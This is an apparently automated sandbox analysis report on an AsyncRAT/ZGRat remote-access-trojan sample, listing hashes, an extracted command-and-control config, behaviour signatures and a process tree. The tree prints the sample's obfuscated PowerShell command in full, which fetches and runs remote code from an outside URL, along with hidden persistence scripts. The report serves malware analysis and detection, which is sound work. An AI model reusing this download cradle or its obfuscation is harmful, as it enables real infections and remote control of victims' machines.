asyncrat | 29c66764abf78ad17aaade2d1aeb99bb5b3ff0a6c3f29d264508f445105d19af

Analysis

max time kernel
169s
max time network
172s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
02/04/2024, 19:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
StatementNumber#wbheuxunvi.wsf
Size 39KB
Sample240402-x8mplabc4y
SHA256 29c66764abf78ad17aaade2d1aeb99bb5b3ff0a6c3f29d264508f445105d19af
MD5 f651b933b18f6dc82e5dea4fd3ca4144
SHA1 b801af7cb42693862e18a90e086116f9e848ad07
SHA512 15ac9f28f90598857cd5e7e22cb34230fa704f91f9afcb5f2dbe690a0cd36d890bb1b0ec7313d39303f28ace23c9d4fcc99e9207b917b7c27f144df4fa096e68
SSDEEP 768:C3GQirot2AR5IWXtAcapXwyLzGmm0IwfbF24fznZSzsVNAKVJT2xc3D3GQirot2W:LQDLtAV8+szQDLtAV8+sH
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat zgrat x man 1000000 rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | 3Losh

Botnet

X MAN 1000000

firstonenow.buyshouses.net:5055

Mutex

XMANMutex_XMAN

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect ZGRat V1 1 IoCs

resource	yara_rule
behavioral2/memory/3772-40-0x0000023CD5920000-0x0000023CD5954000-memory.dmp	family_zgrat_v1

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2580	WScript.exe
17	1548	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3772 set thread context of 1596	3772	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1548	powershell.exe
1548	powershell.exe
3772	powershell.exe
3772	powershell.exe
1596	aspnet_compiler.exe
4196	powershell.exe
4196	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	3772	powershell.exe
Token: SeDebugPrivilege	1596	aspnet_compiler.exe
Token: SeDebugPrivilege	1596	aspnet_compiler.exe
Token: SeDebugPrivilege	4196	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1596	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2580 wrote to memory of 1548	2580	WScript.exe	85
PID 2580 wrote to memory of 1548	2580	WScript.exe	85
PID 3400 wrote to memory of 212	3400	WScript.exe	98
PID 3400 wrote to memory of 212	3400	WScript.exe	98
PID 212 wrote to memory of 3772	212	cmd.exe	100
PID 212 wrote to memory of 3772	212	cmd.exe	100
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 3772 wrote to memory of 1596	3772	powershell.exe	101
PID 4388 wrote to memory of 2560	4388	WScript.exe	104
PID 4388 wrote to memory of 2560	4388	WScript.exe	104
PID 2560 wrote to memory of 4196	2560	cmd.exe	106
PID 2560 wrote to memory of 4196	2560	cmd.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\StatementNumber#wbheuxunvi.wsf"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2580
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WIND HIDDeN -eXeC BYPASS -NONI Sleep 2;[BYTe[]];$g45e='IeX(NeW-OBJeCT NeT.W';$df54='eBCLIeNT).DOWNLO';$5s4d='volvolady(''http://rbmcuemc.worse-than.tv/4444/1.mp4'')'.RePLACe('volvolady','ADSTRING');Sleep 1;IeX($g45e+$df54+$5s4d);
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1548

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Videos\IPTV.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Videos\IPTV.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Videos\IPTV.ps1'"
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3772
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1596

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\Videos\IPTV.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4388
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Videos\IPTV.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\Videos\IPTV.ps1'"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7854010dfa1f008ac8f26493dfbbc378bafb67e4e3dc9d1a13ce408668f2fac4
MD5 11a4be5f9e5fdf4a714849b63ea2f086
SHA1 97ec6e61a365b04d572e100699c37ebbbda9c5d2
SHA512 807ea1222e227985901057c3337d80b587174b3e8b9e50d4d8b4bd67ce500e3e891057f318b74c401196612dcb969862bb6edda2f938f573a54ac53ff88efea8
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 db34d44a764abe98ab93c23cd7ef48ca8170e362b1123498d672b015946011d0
MD5 277f8a28e52e5d152911ca396aafc201
SHA1 e1c9a16e02d7f441b7ef8b158bedb1d073b027bc
SHA512 03febe29689333eeed9af284ba785bdacaed2945ed6e47911129e555d2b3a83b087081fd1f2e30cfa9b4ca751261af3b2e3a3e3cd4c37c0a5d67e648d0f49f57
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_ab4tj0zi.5wr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ab4tj0zi.5wr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

IPTV.bat

Path C:\Users\Public\Videos\IPTV.bat
Size 202B
SHA256 24653d1907f17584bc43c5874e1b6594e800ed87d55e3189289c67df7aaed442
MD5 db0277400bb27c25fbcba383db96e20a
SHA1 a3f7584a32ebe1c9084cff6d6b17e6180cb36f20
SHA512 f303ee2aae2e8b11cb707dce76f1039bd624db5fad75b7309eff0c677e87b9fa58ed17ab074974bcd31a4f194744f8111ea9744e042fe83f5f16c84594083a31
MD5 SHA1 SHA512

Submit Download

IPTV.ps1

Path C:\Users\Public\Videos\IPTV.ps1
Size 1.2MB
SHA256 3e94ae086b5e93018959fd3e0d24769f752800b210ff87c3e0e5ec334f934f14
MD5 99ea863be80f0a169e0eadee44693eaa
SHA1 c5498a9bf2856d5e81e6468856ee3cd357d9165b
SHA512 d6e66614d4f09fefdc96f581193bc9fa7680e1b4255567ce39832761c4c9b6f3bdb6c10342436302adc7b9c3074ec9dd42b4400edf8b312dae89391963a68632
SSDEEP 3072:HQ8L7C7Cizra5PRiBDEExaOSy+MO9sR5h3JGSwUn7E:T5P6ZaOSy+MO9sx3JGSwUno
MD5 SHA1 SHA512 SSDEEP

Submit Download

IPTV.vbs

Path C:\Users\Public\Videos\IPTV.vbs
Size 693B
SHA256 01246fcd4eae4b9e286555a35154a56614ee42ffac19079b030c66c408cc86a0
MD5 2177c6dfc3656751cf7d37d591fe23e7
SHA1 1cea5c2e60ff3429215fc040900ff725d0e43e85
SHA512 15f7e5b8740d44f1c13432eaaacd7d4e9d44d519fcd5d1102673128cdd60e807f03347c41c2ea45c22becb9564668db74d9bd9aec20570aeb4424d5c09fea246
MD5 SHA1 SHA512

Submit Download

memory/1548-15-0x00000237A78D0000-0x00000237A78E0000-memory.dmp

Download

memory/1548-22-0x00007FFD49F30000-0x00007FFD4A9F1000-memory.dmp

Download

memory/1548-19-0x00007FFD49F30000-0x00007FFD4A9F1000-memory.dmp

Download

memory/1548-13-0x00007FFD49F30000-0x00007FFD4A9F1000-memory.dmp

Download

memory/1548-3-0x00000237A7880000-0x00000237A78A2000-memory.dmp

Download

memory/1548-14-0x00000237A78D0000-0x00000237A78E0000-memory.dmp

Download

memory/1596-51-0x0000000075220000-0x00000000759D0000-memory.dmp

Download

memory/1596-48-0x0000000006820000-0x0000000006DC4000-memory.dmp

Download

memory/1596-52-0x00000000059F0000-0x0000000005A00000-memory.dmp

Download

memory/1596-41-0x0000000000400000-0x0000000000416000-memory.dmp

Download

memory/1596-50-0x0000000006440000-0x000000000644A000-memory.dmp

Download

memory/1596-44-0x0000000075220000-0x00000000759D0000-memory.dmp

Download

memory/1596-45-0x00000000059F0000-0x0000000005A00000-memory.dmp

Download

memory/1596-46-0x0000000005A00000-0x0000000005A66000-memory.dmp

Download

memory/1596-47-0x0000000005E90000-0x0000000005F2C000-memory.dmp

Download

memory/1596-49-0x0000000006450000-0x00000000064E2000-memory.dmp

Download

memory/3772-38-0x0000023CD3760000-0x0000023CD3770000-memory.dmp

Download

memory/3772-43-0x00007FFD49FE0000-0x00007FFD4AAA1000-memory.dmp

Download

memory/3772-27-0x0000023CD3760000-0x0000023CD3770000-memory.dmp

Download

memory/3772-40-0x0000023CD5920000-0x0000023CD5954000-memory.dmp

Download

memory/3772-26-0x00007FFD49FE0000-0x00007FFD4AAA1000-memory.dmp

Download

memory/4196-53-0x00007FFD49FE0000-0x00007FFD4AAA1000-memory.dmp

Download

memory/4196-55-0x00000164E73F0000-0x00000164E7400000-memory.dmp

Download

memory/4196-54-0x00000164E73F0000-0x00000164E7400000-memory.dmp

Download